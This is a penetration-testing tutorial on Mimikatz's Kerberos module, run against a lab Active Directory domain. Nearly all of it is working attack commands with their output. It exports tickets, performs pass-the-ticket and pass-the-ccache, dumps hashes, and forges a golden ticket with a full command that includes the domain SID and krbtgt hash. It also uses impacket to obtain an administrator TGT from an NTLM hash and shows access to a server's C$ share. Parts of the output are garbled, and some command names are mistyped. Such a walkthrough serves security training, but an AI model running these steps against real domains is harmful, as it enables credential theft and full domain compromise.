MimiKatz for Pentester: Kerberos

hackingarticles.in/mimikatz-for-pentester-kerberos

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This write-up will be part of a series of articles on the tool called Mimikatz which was created in the programming language C. it is mostly used for extracting Kerberos ticket from the memory and generating golden tickets.

Table of Content

- Kerberos::list
- Kerberos::list /export
- Kerberos::ppt ticket.kirbi
- Kerberos::tgt
- Kerberos::ask
- Kerberos::hash
- Kerberos::golden
- Kerberos::ptc
- Kerberos::clist
- Kerberos::purge

In this scenario, we will be using Mimikatz inside the client machine to find out tickets available within the client system.

Kerberos::list

We will use the command:

kerberos::list

This list command will display all the tickets available on the client machine.

As you can see from the above screenshot, there are 2 tickets within our client machine. The list command will provide information such as:

- 1. Start/End time of ticket
- 2. Server name
- 3. Client name

4. and the Flag

Kerberos::list/export

Now once this information has been available and if we want to save those for future use or reference, we will use the following command:

kerberos::list /export

This will save the above TGT tickets in the Mimikatz folder in the kirbi format.

```
mimikatz # kerberos::list /export
[00000000] - 0x00000012 - aes256_hmac
   Start/End/MaxRenew: 6/3/2022 11:23:16 AM ; 6/3/2022 9:23:16 PM ; 6/10/2022 11:23:16 AM Server Name : krbtgt/IGNITE.LOCAL @ IGNITE.LOCAL
                         : aarti @ IGNITE.LOCAL
: name canonicalize ; pre authent ; initial ; renewable ; forwardable ;
   Client Name
   Flags 40e10000
   * Saved to file
                           : 0-40e10000-aarti@krbtgt~IGNITE.LOCAL-IGNITE.LOCAL.kirbi
 C:\Windows\System32\cmd.exe
Microsoft Windows [Version 10.0.19042.1706]
(c) Microsoft Corporation. All rights reserved.
C:\mimikatz>dir
 Volume in drive C has no label.
 Volume Serial Number is 5263-9909
 Directory of C:\mimikatz
06/03/2022 11:31 AM
                             <DIR>
06/03/2022
              11:31 AM
                                        0-40e10000-aarti@krbtgt~IGNITE.LOCAL-IGNITE.LOCAL.kirbi
1,474 1-40a50000-aarti@LDAP~DC1.ignite.local~ignite.local-IGNITE.LOCAL.kirbi
06/03/2022 11:31 AM
06/03/2022
              11:31 AM
                              1,355,680 mimikatz.exe
1,358,450 bytes
46,968,188,928 bytes free
06/02/2022 02:51 PM
                    File(s)
```

Now that the ticket has been saved in the Mimikatz folder, we renamed it to **ticket.kirbi** for ease of use. Note that this is not a mandatory process.

Since we have this ticket, we will now see how it can be used later on for lateral movement so that we can perform pass the ticket attack.

To perform the pass the ticket attach (ptt) we will issue the following command:

Kerberos::ppt ticket.kirbi

Once the command has been executed successfully, we will issue another command **misc::cmd** which will open a command prompt session. We can see that the command prompt session has been opened with the domain user ignite\aarti.

Let's try to browse the directory of the server with the user aarti by typing the following command in the command prompt:

dir \\192.168.1.188\c\$ (192.168.1.188 is the server IP address)

As you can see, we are able to view all the directories of the server.

So being a non-administrator domain account, the user aarti was able to check the directory of the C drive of the server by using a PTT attack.

```
mimikatz # kerberos::ptt ticket.kirbi
  File: 'ticket.kirbi': OK
mimikatz # misc::cmd
Patch OK for 'cmd.exe' from 'DisableCMD' to 'KiwiAndCMD' @ 00007FF64DAC6438
 Administrator: C:\WINDOWS\SYSTEM32\cmd.exe
Microsoft Windows [Version 10.0.19042.1706]
(c) Microsoft Corporation. All rights reserved.
C:\mimikatz>whoami -
ignite\aarti
C:\mimikatz>dir \\192.168.1.188\c$
 Volume in drive \\192.168.1.188\c$ has no label.
 Volume Serial Number is D05B-6458
 Directory of \\192.168.1.188\c$
                                        PerfLogs
07/16/2016 06:23 AM
                        <DIR>
06/02/2022 03:15 PM
                        <DIR>
                                        Program Files
01/23/2022 01:15 PM
                        <DIR>
                                        Program Files (x86)
01/23/2022 01:12 PM
                        <DIR>
                                        Users
06/03/2022 10:34 AM
                        <DIR>
                                        Windows
               0 File(s)
                                       0 bytes
               5 Dir(s) 48,850,128,896 bytes free
```

Kerberos TGT

To display all TGT (Ticket Granting Ticket), we can use the following command:

kerberos::tgt

Kerberos ASK

It helps you to access the service ticket. The syntax for running this command is as follows:

Kerberos::ask /target/spn name ,where spn name is cifs:/dc1.ignite.local

kerberos::ask /target:cifs/dc1.ignite.local

To display all the service tickets, we issue the command:

kerberos::list

As we can see, we have 3 tickets listed below.

```
Asking for: cifs/dc1.ignite.local
   * Ticket Encryption Type & kvno not representative at screen
             Start/End/MaxRenew: 6/3/2022 12:09:37 PM ; 6/3/2022 10:09:37 PM ; 6/10/2022 12:09:37 PM
             Start/End/MaxRenew: 6/3/2022 12.09.37 PM , 6/3/2022 10.09.37
Service Name (02): cifs ; dc1.ignite.local ; @ IGNITE.LOCAL
Target Name (02): cifs ; dc1.ignite.local ; @ IGNITE.LOCAL
Client Name (01): aarti ; @ IGNITE.LOCAL
                                 : name_canonicalize ; ok_as_delegate ; pre_authent ; renewable ; forwardable ;
: 0x00000012 - aes256_hmac
             Flags 40a50000
             Session Key
               25725d19e6694651cc8a3fe314da3ad7757ec0d569021c990c3b0a0c5015d143
                                    : 0x00000012 - aes256 hmac
             Ticket
                                                                             ; kvno = 0
                                                                                                    [...]
mimikatz # kerberos::list -
[00000000] - 0x000000012 - aes256_hmac
Start/End/MaxRenew: 6/3/2022 12:09:37 PM ; 6/3/2022 10:09:37 PM ; 6/10/2022 12:09:37 PM
                         : krbtgt/IGNITE.LOCAL @ IGNITE.LOCAL
   Server Name
                          : aarti @ IGNITE.LOCAL
   Client Name
   Flags 40e10000
                         : name_canonicalize ; pre_authent ; initial ; renewable ; forwardable ;
[00000001] - 0x00000012 - aes256_hmac
   Start/End/MaxRenew: 6/3/2022 12:09:37 PM ; 6/3/2022 10:09:37 PM ; 6/10/2022 12:09:37 PM Server Name : cifs/dc1.ignite.local @ IGNITE.LOCAL
   Client Name
                          : aarti @ IGNITE.LOCAL
   Flags 40a50000
                        : name canonicalize ; ok as delegate ; pre authent ; renewable ; forwardable ;
[00000002] - 0x000000012 - aes256_hmac
Start/End/MaxRenew: 6/3/2022 11:23:16 AM ; 6/3/2022 9:23:16 PM ; 6/10/2022 11:23:16 AM
Server Name : LDAP/DC1.ignite.local/ignite.local @ IGNITE.LOCAL
                         : aarti @ IGNITE.LOCAL
   Client Name
   Flags 40a50000 : name_canonicalize ; ok_as_delegate ; pre_authent ; renewable ; forwardable ;
```

Kerberos Hash

kerberos::hash

This will dump all hashes available on the client machine.

Kerberos ::golden

Golden Ticket Attack (GTA)

Golden Tickets are forged Ticket-Granting Tickets (TGTs), also called authentication tickets. Some basic information needed to perform this attack are:

- 1. Domain name: ignite.local
- 2. SID: S-1-5-21-1255168540-3690278322-1592948969
- 3. KRBTGT Hash: 5cced0cb593612f08cf4a0b4f0bcb017
- 4. And an impersonate user: raaz

So if we have the domain name, the SID and the hash value of krbtgt, then we can go for pass the ticket attack by generating a fake golden ticket attack.

So the command for performing GTA is as follows:

kerberos::golden /user:raaz /domain:ignite.local /sid S-1-5-21-1255168540-3690278322-1592948969 /krbtgt: 5cced0cb593612f08cf4a0b4f0bcb017 /id:500 /ptt Where the id:500 is for administrator privilege

As shown above, the command has been completed successfully. Now let's launch the command prompt via Mimikatz by issuing the command: misc::cmd

Via the new command prompt, we will be able to access the server directories same as in previous examples.

Another method of golden ticket attack can be performed by using the tool impacket.

```
(root@ kali)-[/usr/share/doc/python3-impacket/examples]
python getTGT.py -dc-ip 192.168.1.188 -hashes :32196B56FFE6F45E294117B91A83BF38 ignite.local/Administrator
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[*] Saving ticket in Administrator.ccache
```

When using Mimikatz or Rubeus, they will generate the ticket in .kirbi format file. But if we use impacket for golden ticket attack so that we can get the ticket, it will not give you ticket in kirbi format. It will give you the ticket in .ccache format.

Kerberos::ptc

So if we have the ticket in ccache format, then we can perform the pass the ccache as shown below. Command is:

kerberos::ptc Administrator.ccache

The **misc::cmd** will open a new command prompt via which we will be able to access the server directories, same as our previous examples.

```
mimikatz # kerberos::ptc Administrator.ccache
Principal : (01) : Administrator ; @ IGNITE.LOCAL
Data 0
            Start/End/MaxRenew: 6/3/2022 12:40:09 PM; 6/3/2022 10:40:09 PM; 6/4/2022 12:40:09 PM
            Service Name (01): krbtgt; IGNITE.LOCAL; @ IGNITE.LOCAL
Target Name (01): krbtgt; IGNITE.LOCAL; @ IGNITE.LOCAL
Client Name (01): Administrator; @ IGNITE.LOCAL
Flags 50e10000 : name_canonicalize; pre_authent; initial; renewable; proxiable; forwarda
                                 : 0x00000017 - rc4_hmac_nt
            Session Key
              95079178993c82204fb42c84f67c5379
            Ticket
                                  : 0x00000000 - null
                                                                        ; kvno = 2
            * Injecting ticket : OK
mimikatz # misc::cmd
Patch OK for 'cmd.exe' from 'DisableCMD' to 'KiwiAndCMD' @ 00007FF64DAC6438
 Administrator: C:\WINDOWS\SYSTEM32\cmd.exe
C:\mimikatz>whoami
ignite\aarti
C:\mimikatz>dir \\192.168.1.188\c$
 Volume in drive \\192.168.1.188\c$ has no label.
 Volume Serial Number is D05B-6458
 Directory of \\192.168.1.188\c$
                                             PerfLogs
07/16/2016 06:23 AM
                            <DIR>
                                             Program Files
              12:15 PM
06/03/2022
                            <DIR>
                                             Program Files (x86)
01/23/2022
              01:15 PM
                            <DIR>
06/03/2022
              11:53 AM
                            <DIR>
                                             share-ignite
01/23/2022
              01:12 PM
                            <DIR>
                                             Users
06/03/2022
              10:34 AM
                            <DIR>
                                             Windows
                 0 File(s)
                                            0 bytes
                            49,058,275,328 bytes free
                 6 Dir(s)
```

Kerberos::clist

If we want to list all the ccache files that exist on the client system, we use the following command:

kerberos::clist Administrator.cache

```
mimikatz # kerberos::clist Administrator.ccache

Principal : (01) : Administrator ; @ IGNITE.LOCAL

Data 0

Start/End/MaxRenew: 6/3/2022 12:40:09 PM ; 6/3/2022 10:40:09 PM ; 6/4/2022 12:40:09 PM
Service Name (01) : krbtgt ; IGNITE.LOCAL ; @ IGNITE.LOCAL
Target Name (01) : krbtgt ; IGNITE.LOCAL ; @ IGNITE.LOCAL
Client Name (01) : Administrator ; @ IGNITE.LOCAL
Flags 50e10000 : name_canonicalize ; pre_authent ; initial ; renewable ; proxiable ;
Session Key : 0x000000017 - rc4_hmac_nt
95079178993c82204fb42c84f67c5379
Ticket : 0x000000000 - null ; kvno = 2 [...]
```

Kerberos::purge

If we want to delete all the tickets, either ccache or kirbi format, we can use the following command:

kerberos::purge

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